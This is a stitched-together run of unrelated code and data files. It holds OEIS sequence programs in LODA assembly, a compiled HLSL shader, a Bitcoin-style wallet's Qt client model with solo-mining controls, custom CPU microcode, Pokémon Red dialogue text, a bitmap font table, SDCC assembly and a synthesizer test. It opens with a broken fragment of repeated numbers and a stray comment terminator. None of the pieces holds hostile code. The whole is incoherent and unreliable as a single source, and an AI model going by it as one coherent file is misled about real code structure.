51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 */
; A097920: G.f.: (1+x^10)/((1-x)*(1-x^3)*(1-x^5)). ; 1,1,1,2,2,3,4,4,5,6,8,9,10,12,13,16,18,19,22,24,27,30,32,35,38,42,45,48,52,55,60,64,67,72,76,81,86,90,95,100,106,111,116,122,127,134,140,145,152,158,165,172,178,185,192,200,207,214,222,229,238,246,253,262,270,279,288,296,305,314,324,333,342,352,361,372,382,391,402,412,423,434,444,455,466,478,489,500,512,523,536,548,559,572,584,597,610,622,635,648,662,675,688,702,715,730,744,757,772,786,801,816,830,845,860,876,891,906,922,937,954,970,985,1002,1018,1035,1052,1068,1085,1102,1120,1137,1154,1172,1189,1208,1226,1243,1262,1280,1299,1318,1336,1355,1374,1394,1413,1432,1452,1471,1492,1512,1531,1552,1572,1593,1614,1634,1655,1676,1698,1719,1740,1762,1783,1806,1828,1849,1872,1894,1917,1940,1962,1985,2008,2032,2055,2078,2102,2125,2150,2174,2197,2222,2246,2271,2296,2320,2345,2370,2396,2421,2446,2472,2497,2524,2550,2575,2602,2628,2655,2682,2708,2735,2762,2790,2817,2844,2872,2899,2928,2956,2983,3012,3040,3069,3098,3126,3155,3184,3214,3243,3272,3302,3331,3362,3392,3421,3452,3482,3513,3544,3574,3605,3636,3668,3699,3730,3762,3793,3826,3858,3889,3922,3954,3987,4020,4052,4085,4118 bin $0,2 mov $1,$0 sub $0,1 div $0,5 add $0,1 div $1,3 sub $1,$0 add $1,2
// // Generated by Microsoft (R) HLSL Shader Compiler 9.30.9200.20714 // // /// // Buffer Definitions: // // cbuffer $Globals // { // // row_major float4x4 mWorldViewProj; // Offset: 0 Size: 64 // // } // // // Resource Bindings: // // Name Type Format Dim Slot Elements // ------------------------------ ---------- ------- ----------- ---- -------- // $Globals cbuffer NA NA 0 1 // // // // Input signature: // // Name Index Mask Register SysValue Format Used // -------------------- ----- ------ -------- -------- ------- ------ // POSITION 0 xyzw 0 NONE float xyzw // TEXCOORD 0 xyzw 1 NONE float xyzw // // // Output signature: // // Name Index Mask Register SysValue Format Used // -------------------- ----- ------ -------- -------- ------- ------ // SV_Position 0 xyzw 0 POS float xyzw // vs_5_0 dcl_globalFlags refactoringAllowed dcl_constantbuffer cb0[4], immediateIndexed dcl_input v0.xyzw dcl_input v1.xyzw dcl_output_siv o0.xyzw, position dcl_temps 1 mul r0.xyzw, v0.yyyy, cb0[1].xyzw mad r0.xyzw, v0.xxxx, cb0[0].xyzw, r0.xyzw mad r0.xyzw, v0.zzzz, cb0[2].xyzw, r0.xyzw mad r0.xyzw, v0.wwww, cb0[3].xyzw, r0.xyzw add o0.xyzw, r0.xyzw, v1.xyzw ret // Approximately 6 instruction slots used
#include "clientmodel.h" #include "guiconstants.h" #include "optionsmodel.h" #include "addresstablemodel.h" #include "transactiontablemodel.h" #include "main.h" #include "init.h" // for pwalletMain #include "ui_interface.h" #include <QDateTime> #include <QTimer> static const int64 nClientStartupTime = GetTime(); ClientModel::ClientModel(OptionsModel *optionsModel, QObject *parent) : QObject(parent), optionsModel(optionsModel), cachedNumBlocks(0), cachedNumBlocksOfPeers(0), cachedHashrate(0), pollTimer(0) { numBlocksAtStartup = -1; pollTimer = new QTimer(this); // Read our specific settings from the wallet db /* CWalletDB walletdb(optionsModel->getWallet()->strWalletFile); walletdb.ReadSetting("miningDebug", miningDebug); walletdb.ReadSetting("miningScanTime", miningScanTime); std::string str; walletdb.ReadSetting("miningServer", str); miningServer = QString::fromStdString(str); walletdb.ReadSetting("miningPort", str); miningPort = QString::fromStdString(str); walletdb.ReadSetting("miningUsername", str); miningUsername = QString::fromStdString(str); walletdb.ReadSetting("miningPassword", str); miningPassword = QString::fromStdString(str); */ // if (fGenerateBitcoins) // { miningType = SoloMining; miningStarted = true; // } // else // { // miningType = PoolMining; // walletdb.ReadSetting("miningStarted", miningStarted); // } // miningThreads = nLimitProcessors; pollTimer->setInterval(MODEL_UPDATE_DELAY); pollTimer->start(); connect(pollTimer, SIGNAL(timeout()), this, SLOT(updateTimer())); subscribeToCoreSignals(); } ClientModel::~ClientModel() { unsubscribeFromCoreSignals(); } int ClientModel::getNumConnections() const { return vNodes.size(); } int ClientModel::getNumBlocks() const { return nBestHeight; } int ClientModel::getNumBlocksAtStartup() { if (numBlocksAtStartup == -1) numBlocksAtStartup = getNumBlocks(); return numBlocksAtStartup; } ClientModel::MiningType ClientModel::getMiningType() const { return miningType; } int ClientModel::getMiningThreads() const { return miningThreads; } bool ClientModel::getMiningStarted() const { return miningStarted; } bool ClientModel::getMiningDebug() const { return miningDebug; } void ClientModel::setMiningDebug(bool debug) { miningDebug = debug; // WriteSetting("miningDebug", miningDebug); } int ClientModel::getMiningScanTime() const { return miningScanTime; } void ClientModel::setMiningScanTime(int scantime) { miningScanTime = scantime; // WriteSetting("miningScanTime", miningScanTime); } QString ClientModel::getMiningServer() const { return miningServer; } void ClientModel::setMiningServer(QString server) { miningServer = server; // WriteSetting("miningServer", miningServer.toStdString()); } QString ClientModel::getMiningPort() const { return miningPort; } void ClientModel::setMiningPort(QString port) { miningPort = port; // WriteSetting("miningPort", miningPort.toStdString()); } QString ClientModel::getMiningUsername() const { return miningUsername; } void ClientModel::setMiningUsername(QString username) { miningUsername = username; // WriteSetting("miningUsername", miningUsername.toStdString()); } QString ClientModel::getMiningPassword() const { return miningPassword; } void ClientModel::setMiningPassword(QString password) { miningPassword = password; // WriteSetting("miningPassword", miningPassword.toStdString()); } int ClientModel::getHashrate() const { if (GetTimeMillis() - nHPSTimerStart > 8000) return (boost::int64_t)0; return (boost::int64_t)dHashesPerSec; } // Unfed: copied from bitcoinrpc.cpp. double ClientModel::GetDifficulty() const { // Floating point number that is a multiple of the minimum difficulty, // minimum difficulty = 1.0. if (pindexBest == NULL) return 1.0; int nShift = (pindexBest->nBits >> 24) & 0xff; double dDiff = (double)0x0000ffff / (double)(pindexBest->nBits & 0x00ffffff); while (nShift < 29) { dDiff *= 256.0; nShift++; } while (nShift > 29) { dDiff /= 256.0; nShift--; } return dDiff; } QDateTime ClientModel::getLastBlockDate() const { return QDateTime::fromTime_t(pindexBest->GetBlockTime()); } void ClientModel::updateTimer() { // Some quantities (such as number of blocks) change so fast that we don't want to be notified for each change. // Periodically check and update with a timer. int newNumBlocks = getNumBlocks(); int newNumBlocksOfPeers = getNumBlocksOfPeers(); if(cachedNumBlocks != newNumBlocks || cachedNumBlocksOfPeers != newNumBlocksOfPeers) emit numBlocksChanged(newNumBlocks, newNumBlocksOfPeers); cachedNumBlocks = newNumBlocks; cachedNumBlocksOfPeers = newNumBlocksOfPeers; // Only need to update if solo mining. When pool mining, stats are pushed. if (miningType == SoloMining) { int newHashrate = getHashrate(); if (cachedHashrate != newHashrate) emit miningChanged(miningStarted, newHashrate); cachedHashrate = newHashrate; } } void ClientModel::updateNumConnections(int numConnections) { emit numConnectionsChanged(numConnections); } void ClientModel::updateAlert(const QString &hash, int status) { // Show error message notification for new alert if(status == CT_NEW) { uint256 hash_256; hash_256.SetHex(hash.toStdString()); CAlert alert = CAlert::getAlertByHash(hash_256); if(!alert.IsNull()) { emit error(tr("Network Alert"), QString::fromStdString(alert.strStatusBar), false); } } // Emit a numBlocksChanged when the status message changes, // so that the view recomputes and updates the status bar. emit numBlocksChanged(getNumBlocks(), getNumBlocksOfPeers()); } bool ClientModel::isTestNet() const { return fTestNet; } bool ClientModel::inInitialBlockDownload() const { return IsInitialBlockDownload(); } int ClientModel::getNumBlocksOfPeers() const { return GetNumBlocksOfPeers(); } void ClientModel::setMining(MiningType type, bool mining, int threads, int hashrate) { if (type == SoloMining && mining != miningStarted) { GenerateBitcoins(mining ? 1 : 0, pwalletMain); } miningType = type; miningStarted = mining; // WriteSetting("miningStarted", mining); // WriteSetting("fLimitProcessors", 1); // WriteSetting("nLimitProcessors", threads); emit miningChanged(mining, hashrate); } QString ClientModel::getStatusBarWarnings() const { return QString::fromStdString(GetWarnings("statusbar")); } OptionsModel *ClientModel::getOptionsModel() { return optionsModel; } QString ClientModel::formatFullVersion() const { return QString::fromStdString(FormatFullVersion()); } QString ClientModel::formatBuildDate() const { return QString::fromStdString(CLIENT_DATE); } QString ClientModel::clientName() const { return QString::fromStdString(CLIENT_NAME); } QString ClientModel::formatClientStartupTime() const { return QDateTime::fromTime_t(nClientStartupTime).toString(); } // Handlers for core signals static void NotifyBlocksChanged(ClientModel *clientmodel) { // This notification is too frequent. Don't trigger a signal. // Don't remove it, though, as it might be useful later. } static void NotifyNumConnectionsChanged(ClientModel *clientmodel, int newNumConnections) { // Too noisy: OutputDebugStringF("NotifyNumConnectionsChanged %i\n", newNumConnections); QMetaObject::invokeMethod(clientmodel, "updateNumConnections", Qt::QueuedConnection, Q_ARG(int, newNumConnections)); } static void NotifyAlertChanged(ClientModel *clientmodel, const uint256 &hash, ChangeType status) { OutputDebugStringF("NotifyAlertChanged %s status=%i\n", hash.GetHex().c_str(), status); QMetaObject::invokeMethod(clientmodel, "updateAlert", Qt::QueuedConnection, Q_ARG(QString, QString::fromStdString(hash.GetHex())), Q_ARG(int, status)); } void ClientModel::subscribeToCoreSignals() { // Connect signals to client uiInterface.NotifyBlocksChanged.connect(boost::bind(NotifyBlocksChanged, this)); uiInterface.NotifyNumConnectionsChanged.connect(boost::bind(NotifyNumConnectionsChanged, this, _1)); uiInterface.NotifyAlertChanged.connect(boost::bind(NotifyAlertChanged, this, _1, _2)); } void ClientModel::unsubscribeFromCoreSignals() { // Disconnect signals from client uiInterface.NotifyBlocksChanged.disconnect(boost::bind(NotifyBlocksChanged, this)); uiInterface.NotifyNumConnectionsChanged.disconnect(boost::bind(NotifyNumConnectionsChanged, this, _1)); uiInterface.NotifyAlertChanged.disconnect(boost::bind(NotifyAlertChanged, this, _1, _2)); }
; Set register XL to "11111111" SET A, "1111" SET B, "1111" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XL ; Set register XH to "11111111" SET A, "1111" SET B, "1111" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XH MOV16 SP, X ; Set register D to "00000001" SET A, "0000" SET B, "0001" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT D ; Set register E to "00000001" SET A, "0000" SET B, "0001" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT E ; Perform a "SUB D, E" operation ; This sets the Zero flag to 1 MOV_ALU_IN A, E NOT MOV_ALU_C_TO_AB A SET B, "0001" ADD MOV_ALU_C_TO_AB B MOV_ALU_IN A, D ADD MOV_ALU_OUT D ; ==================== ; PUSHF implementation ; ==================== ; 1. Store the flags in the "FlagsOutBuffer" FLAGS_TO_OUTBUFFER ; 2. Store the flags from the "FlagsOutBuffer" onto the stack MOV16 M, SP STORE_FLAGS ; 3. Decrement the stack pointer by 1 ; 3.1. Set register XL to "11111111" SET A, "1111" SET B, "1111" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XL ; 3.2. Set register XH to "11111111" SET A, "1111" SET B, "1111" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XH ; 3.3. Decrement the stack pointer MOV16 J, X MOV16 X, SP 16BIT_ADDER MOV16 SP, X ; ===================== ; Set register XL to "11111111" SET A, "1111" SET B, "1111" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XL ; Set register XH to "11111111" SET A, "1111" SET B, "1111" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XH ; Load the flags (value "110") from the stack into the register G MOV16 M, X LOAD G HLT
__sjasm_page_0_start: ; Test case: rrca rrca ld (hl), a rrca rrca rrca ld (bc), a loop: jr loop __sjasm_page_0_end:
_Route24Text_51510:: text "Congratulations!" line "You beat our 5" cont "contest trainers!@@" _Route24Text_51515:: text "" para "You just earned a" line "fabulous prize!" prompt _Route24Text_5151a:: text "<PLAYER> received" line "a @" TX_RAM wcf4b text "!@@" _Route24Text_51521:: text "You don't have" line "any room!" done _Route24Text_51526:: text "By the way, would" line "you like to join" cont "TEAM ROCKET?" para "We're a group" line "dedicated to evil" cont "using #MON!" para "Want to join?" para "Are you sure?" para "Come on, join us!" para "I'm telling you" line "to join!" para "OK, you need" line "convincing!" para "I'll make you an" line "offer you can't" cont "refuse!" done _Route24Text_5152b:: text "Arrgh!" line "You are good!" prompt _Route24Text_51530:: text "With your ability," line "you could become" cont "a top leader in" cont "TEAM ROCKET!" done _Route24BattleText1:: text "I saw your feat" line "from the grass!" done _Route24EndBattleText1:: text "I" line "thought not!" prompt _Route24AfterBattleText1:: text "I hid because the" line "people on the" cont "bridge scared me!" done _Route24BattleText2:: text "OK! I'm No. 5!" line "I'll stomp you!" done _Route24EndBattleText2:: text "Whoa!" line "Too much!" prompt _Route24AfterBattleText2:: text "I did my best, I" line "have no regrets!" done _Route24BattleText3:: text "I'm No. 4!" line "Getting tired?" done _Route24EndBattleText3:: text "I lost" line "too!" prompt _Route24AfterBattleText3:: text "I did my best, so" line "I've no regrets!" done _Route24BattleText4:: text "Here's No. 3!" line "I won't be easy!" done _Route24EndBattleText4:: text "Ow!" line "Stomped flat!" prompt _Route24AfterBattleText4:: text "I did my best, I" line "have no regrets!" done _Route24BattleText5:: text "I'm second!" line "Now it's serious!" done _Route24EndBattleText5:: text "How could I" line "lose?" prompt _Route24AfterBattleText5:: text "I did my best, I" line "have no regrets!" done _Route24BattleText6:: text "This is NUGGET" line "BRIDGE! Beat us 5" cont "trainers and win" cont "a fabulous prize!" para "Think you got" line "what it takes?" done _Route24EndBattleText6:: text "Whoo!" line "Good stuff!" prompt _Route24AfterBattleText6:: text "I did my best, I" line "have no regrets!" done _Route24DamianText1:: text "I'm not good at" line "raising #MON." para "I was surprised" line "to see an egg" cont "at the daycare;" cont "I can't keep it." para "If you promise me" line "you'll care for" cont "it, it's yours." done _Route24DamianText2:: text "Take good care of" line "my pokemon!@@" _Route24DamianText3:: text "Oh... I'd better" line "release it then." done _Route24DamianText4:: text "How's the baby" line "doing?" done
; A164592: a(n) = 10*a(n-1) - 17*a(n-2) for n > 1; a(0) = 1, a(1) = 8. ; Submitted by Christian Krause ; 1,8,63,494,3869,30292,237147,1856506,14533561,113775008,890679543,6972620294,54584650709,427311962092,3345180558867,26187502233106,205006952830321,1604881990340408,12563701705288623,98354023217099294,769957303181086349,6027554637120175492,47186272217123286987,369394293340189886506,2891776305710802986281,22638060070324801792208,177220403506164367155303,1387357013866122041085494,10860823279056426169214789,85023163554840186993694492,665597639804442625060293507,5210582617612143071710128706 mov $1,2 mov $3,1 lpb $0 sub $0,1 mov $2,$3 mul $2,7 mul $3,6 add $3,$1 mul $1,4 add $1,$2 lpe mov $0,$3
; A262184: a(n) = Fibonacci(n)^2 - Fibonacci(n) + 1. ; Submitted by Jamie Morken(w1) ; 1,1,1,3,7,21,57,157,421,1123,2971,7833,20593,54057,141753,371491,973183,2548813,6674473,17476581,45758461,119803971,313661811,821194993,2149945057,5628675601,14736139057,38579834307,101003513911,264430950213,692289729561,1812438874093,4745027921173,12422646553507,32522914431883,85146101098761,222915395913553,583600098047673,1527884916684393,4000054681866211,10472279177229871,27416782927999741,71778069733261321,187917426476452533,491974210027256557,1288005204141145731,3372041403263169507 seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. add $1,$0 sub $0,1 mul $1,$0 mov $0,$1 add $0,1
charset ;same as ASCII ;> d 32 63 db $00, $00, $00, $00, $00, $00, $00, $00 db $08, $08, $08, $08, $00, $00, $08, $00 db $24, $24, $24, $00, $00, $00, $00, $00 db $24, $24, $7E, $24, $7E, $24, $24, $00 db $08, $1E, $28, $1C, $0A, $3C, $08, $00 db $00, $62, $64, $08, $10, $26, $46, $00 db $30, $48, $48, $30, $4A, $44, $3A, $00 db $04, $08, $10, $00, $00, $00, $00, $00 db $04, $08, $10, $10, $10, $08, $04, $00 db $20, $10, $08, $08, $08, $10, $20, $00 db $08, $2A, $1C, $3E, $1C, $2A, $08, $00 db $00, $08, $08, $3E, $08, $08, $00, $00 db $00, $00, $00, $00, $00, $08, $08, $10 db $00, $00, $00, $7E, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $18, $18, $00 db $00, $02, $04, $08, $10, $20, $40, $00 db $3C, $42, $46, $5A, $62, $42, $3C, $00 db $08, $18, $28, $08, $08, $08, $3E, $00 db $3C, $42, $02, $0C, $30, $40, $7E, $00 db $3C, $42, $02, $1C, $02, $42, $3C, $00 db $04, $0C, $14, $24, $7E, $04, $04, $00 db $7E, $40, $78, $04, $02, $44, $38, $00 db $1C, $20, $40, $7C, $42, $42, $3C, $00 db $7E, $42, $04, $08, $10, $10, $10, $00 db $3C, $42, $42, $3C, $42, $42, $3C, $00 db $3C, $42, $42, $3E, $02, $04, $38, $00 db $00, $00, $08, $00, $00, $08, $00, $00 db $00, $00, $08, $00, $00, $08, $08, $10 db $0E, $18, $30, $60, $30, $18, $0E, $00 db $00, $00, $7E, $00, $7E, $00, $00, $00 db $70, $18, $0C, $06, $0C, $18, $70, $00 db $3C, $42, $02, $0C, $10, $00, $10, $00 ;@ 64 ;> d 0 db $1C, $22, $4A, $56, $4C, $20, $1E, $00 ;A Z ;> d 1 26 db $18, $24, $42, $7E, $42, $42, $42, $00 db $7C, $22, $22, $3C, $22, $22, $7C, $00 db $1C, $22, $40, $40, $40, $22, $1C, $00 db $78, $24, $22, $22, $22, $24, $78, $00 db $7E, $40, $40, $78, $40, $40, $7E, $00 db $7E, $40, $40, $78, $40, $40, $40, $00 db $1C, $22, $40, $4E, $42, $22, $1C, $00 db $42, $42, $42, $7E, $42, $42, $42, $00 db $1C, $08, $08, $08, $08, $08, $1C, $00 db $0E, $04, $04, $04, $04, $44, $38, $00 db $42, $44, $48, $70, $48, $44, $42, $00 db $40, $40, $40, $40, $40, $40, $7E, $00 db $42, $66, $5A, $5A, $42, $42, $42, $00 db $42, $62, $52, $4A, $46, $42, $42, $00 db $18, $24, $42, $42, $42, $24, $18, $00 db $7C, $42, $42, $7C, $40, $40, $40, $00 db $18, $24, $42, $42, $4A, $24, $1A, $00 db $7C, $42, $42, $7C, $48, $44, $42, $00 db $3C, $42, $40, $3C, $02, $42, $3C, $00 db $3E, $08, $08, $08, $08, $08, $08, $00 db $42, $42, $42, $42, $42, $42, $3C, $00 db $42, $42, $42, $24, $24, $18, $18, $00 db $42, $42, $42, $5A, $5A, $66, $42, $00 db $42, $42, $24, $18, $24, $42, $42, $00 db $22, $22, $22, $1C, $08, $08, $08, $00 db $7E, $02, $04, $18, $20, $40, $7E, $00 ;[ 91 ;> d 27 db $3C, $20, $20, $20, $20, $20, $3C, $00 ;\ 92 missing db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF ;] 93 ;> d 29 db $3C, $04, $04, $04, $04, $04, $3C, $00 ;^ 94 missing db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF ;_ 95 missing db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF ;` 96 missing db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF ;a z ;> d 257 282 db $00, $00, $38, $04, $3C, $44, $3A, $00 db $40, $40, $5C, $62, $42, $62, $5C, $00 db $00, $00, $3C, $42, $40, $42, $3C, $00 db $02, $02, $3A, $46, $42, $46, $3A, $00 db $00, $00, $3C, $42, $7E, $40, $3C, $00 db $0C, $12, $10, $7C, $10, $10, $10, $00 db $00, $00, $3A, $46, $46, $3A, $02, $3C db $40, $40, $5C, $62, $42, $42, $42, $00 db $08, $00, $18, $08, $08, $08, $1C, $00 db $04, $00, $0C, $04, $04, $04, $44, $38 db $40, $40, $44, $48, $50, $68, $44, $00 db $18, $08, $08, $08, $08, $08, $1C, $00 db $00, $00, $76, $49, $49, $49, $49, $00 db $00, $00, $5C, $62, $42, $42, $42, $00 db $00, $00, $3C, $42, $42, $42, $3C, $00 db $00, $00, $5C, $62, $62, $5C, $40, $40 db $00, $00, $3A, $46, $46, $3A, $02, $02 db $00, $00, $5C, $62, $40, $40, $40, $00 db $00, $00, $3E, $40, $3C, $02, $7C, $00 db $10, $10, $7C, $10, $10, $12, $0C, $00 db $00, $00, $42, $42, $42, $46, $3A, $00 db $00, $00, $42, $42, $42, $24, $18, $00 db $00, $00, $41, $49, $49, $49, $36, $00 db $00, $00, $42, $24, $18, $24, $42, $00 db $00, $00, $42, $42, $46, $3A, $02, $3C db $00, $00, $7E, $04, $18, $20, $7E, $00 ;{ 123 missing db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF ;| 124 missing db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF ;} 125 missing db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF ;~ 126 missing db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF ; 127 db $00, $00, $00, $00, $00, $00, $00, $00 end
; A319610: a(n) is the minimal number of successive OFF cells that appears in n-th generation of rule-30 1D cellular automaton started from a single ON cell. ; 0,0,2,1,2,1,2,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 lpb $0 mov $0,9 lpe pow $0,2 lpb $0 mul $0,2 sub $0,1 mod $0,4 add $1,40 lpe div $1,40 mov $0,$1
;-------------------------------------------------------- ; File Created by SDCC : FreeWare ANSI-C Compiler ; Version 2.3.1 Wed Sep 04 21:56:16 2019 ;-------------------------------------------------------- .module isspace ;-------------------------------------------------------- ; Public variables in this module ;-------------------------------------------------------- .globl _isspace ;-------------------------------------------------------- ; special function registers ;-------------------------------------------------------- ;-------------------------------------------------------- ; special function bits ;-------------------------------------------------------- ;-------------------------------------------------------- ; internal ram data ;-------------------------------------------------------- .area _DATA ;-------------------------------------------------------- ; overlayable items in internal ram ;-------------------------------------------------------- .area _OVERLAY ;-------------------------------------------------------- ; indirectly addressable internal ram data ;-------------------------------------------------------- .area _ISEG ;-------------------------------------------------------- ; bit data ;-------------------------------------------------------- .area _BSEG ;-------------------------------------------------------- ; external ram data ;-------------------------------------------------------- .area _XSEG ;-------------------------------------------------------- ; global & static initialisations ;-------------------------------------------------------- .area _GSINIT .area _GSFINAL .area _GSINIT ;-------------------------------------------------------- ; Home ;-------------------------------------------------------- .area _HOME .area _CODE ;-------------------------------------------------------- ; code ;-------------------------------------------------------- .area _CODE ; isspace.c 3 ; genLabel ; genFunction ; --------------------------------- ; Function isspace ; --------------------------------- ___isspace_start: _isspace: ; isspace.c 5 ; genCmpEq ; AOP_STK for ; genCmpEq: left 1, right 1, result 0 lda hl,2(sp) ld a,(hl) cp a,#0x20 jp z,00101$ 00110$: ; genCmpEq ; AOP_STK for ; genCmpEq: left 1, right 1, result 0 lda hl,2(sp) ld a,(hl) cp a,#0x09 jp z,00101$ 00111$: ; genCmpEq ; AOP_STK for ; genCmpEq: left 1, right 1, result 0 lda hl,2(sp) ld a,(hl) cp a,#0x0A jp nz,00102$ jr 00113$ 00112$: jp 00102$ 00113$: ; genLabel 00101$: ; isspace.c 6 ; genRet ld e,#0x01 jp 00106$ ; genLabel 00102$: ; isspace.c 8 ; genRet ld e,#0x00 ; genLabel 00106$: ; genEndFunction ret ___isspace_end: .area _CODE
; A179942: Number of times n appears in a 1000 x 1000 multiplication table. ; 1,2,2,3,2,4,2,4,3,4,2,6,2,4,4,5,2,6,2,6,4,4,2,8,3,4,4,6,2,8,2,6,4,4,4,9,2,4,4,8,2,8,2,6,6,4,2,10,3,6,4,6,2,8,4,8,4,4,2,12,2,4,6,7,4,8,2,6,4,8,2,12,2,4,6,6,4,8,2,10,5,4,2,12,4,4,4,8,2,12,4,6,4,4,4,12,2,6,6,9,2,8,2,8,8,4,2,12,2,8,4,10,2,8,4,6,6,4,4,16,3,4,4,6,4,12,2,8,4,8,2,12,4,4,8,8,2,8,2,12,4,4,4,15,4,4,6,6,2,12,2,8,6,8,4,12,2,4,4,12,4,10,2,6,8,4,2,16,3,8,6,6,2,8,6,10,4,4,2,18,2,8,4,8,4,8,4,6,8,8,2,14,2,4,8,9,2,12,2,12,4,4,4,12,4,4,6,10,4,16,2,6,4,4,4,16,4,4,4,12,4,8,2,12,9,4,2,12,2,8,8,8,2,12,4,6,4,8,2,20,2,6,6,6,6,8,4,8,4,8 mov $5,2 mov $7,$0 lpb $5,1 sub $5,1 add $0,$5 sub $0,1 mov $2,$0 mov $4,$0 mov $6,2 lpb $2,1 add $4,2 lpb $4,1 trn $4,$2 add $6,1 lpe sub $2,1 add $4,$0 lpe mov $3,$5 lpb $3,1 mov $1,$6 sub $3,1 lpe lpe lpb $7,1 sub $1,$6 mov $7,0 lpe sub $1,1
%define BPM 100 %include "../src/sointu.inc" BEGIN_PATTERNS PATTERN 64, HLD, HLD, HLD, HLD, HLD, HLD, HLD, 0, 0, 0, 0, 0, 0, 0, 0 END_PATTERNS BEGIN_TRACKS TRACK VOICES(1),0 END_TRACKS BEGIN_PATCH BEGIN_INSTRUMENT VOICES(1) ; Instrument0 SU_LOADVAL MONO,VALUE(0) SU_LOADVAL MONO,VALUE(64) SU_AUX STEREO,GAIN(128),CHANNEL(0) SU_LOADVAL MONO,VALUE(128) SU_LOADVAL MONO,VALUE(128) SU_AUX STEREO,GAIN(64),CHANNEL(2) SU_IN STEREO,CHANNEL(0) SU_IN STEREO,CHANNEL(2) SU_ADDP STEREO SU_OUT STEREO,GAIN(128) END_INSTRUMENT END_PATCH %include "../src/sointu.asm"
; A034857: a(n) = C(n+2,3) + 2*C(n,2) + 2*(n-2). ; -1,6,18,36,61,94,136,188,251,326,414,516,633,766,916,1084,1271,1478,1706,1956,2229,2526,2848,3196,3571,3974,4406,4868,5361,5886,6444,7036,7663,8326,9026,9764,10541,11358,12216,13116,14059,15046,16078,17156,18281,19454,20676,21948,23271,24646,26074,27556,29093,30686,32336,34044,35811,37638,39526,41476,43489,45566,47708,49916,52191,54534,56946,59428,61981,64606,67304,70076,72923,75846,78846,81924,85081,88318,91636,95036,98519,102086,105738,109476,113301,117214,121216,125308,129491,133766,138134,142596,147153,151806,156556,161404,166351,171398,176546,181796,187149,192606,198168,203836,209611,215494,221486,227588,233801,240126,246564,253116,259783,266566,273466,280484,287621,294878,302256,309756,317379,325126,332998,340996,349121,357374,365756,374268,382911,391686,400594,409636,418813,428126,437576,447164,456891,466758,476766,486916,497209,507646,518228,528956,539831,550854,562026,573348,584821,596446,608224,620156,632243,644486,656886,669444,682161,695038,708076,721276,734639,748166,761858,775716,789741,803934,818296,832828,847531,862406,877454,892676,908073,923646,939396,955324,971431,987718,1004186,1020836,1037669,1054686,1071888,1089276,1106851,1124614,1142566,1160708,1179041,1197566,1216284,1235196,1254303,1273606,1293106,1312804,1332701,1352798,1373096,1393596,1414299,1435206,1456318,1477636,1499161,1520894,1542836,1564988,1587351,1609926,1632714,1655716,1678933,1702366,1726016,1749884,1773971,1798278,1822806,1847556,1872529,1897726,1923148,1948796,1974671,2000774,2027106,2053668,2080461,2107486,2134744,2162236,2189963,2217926,2246126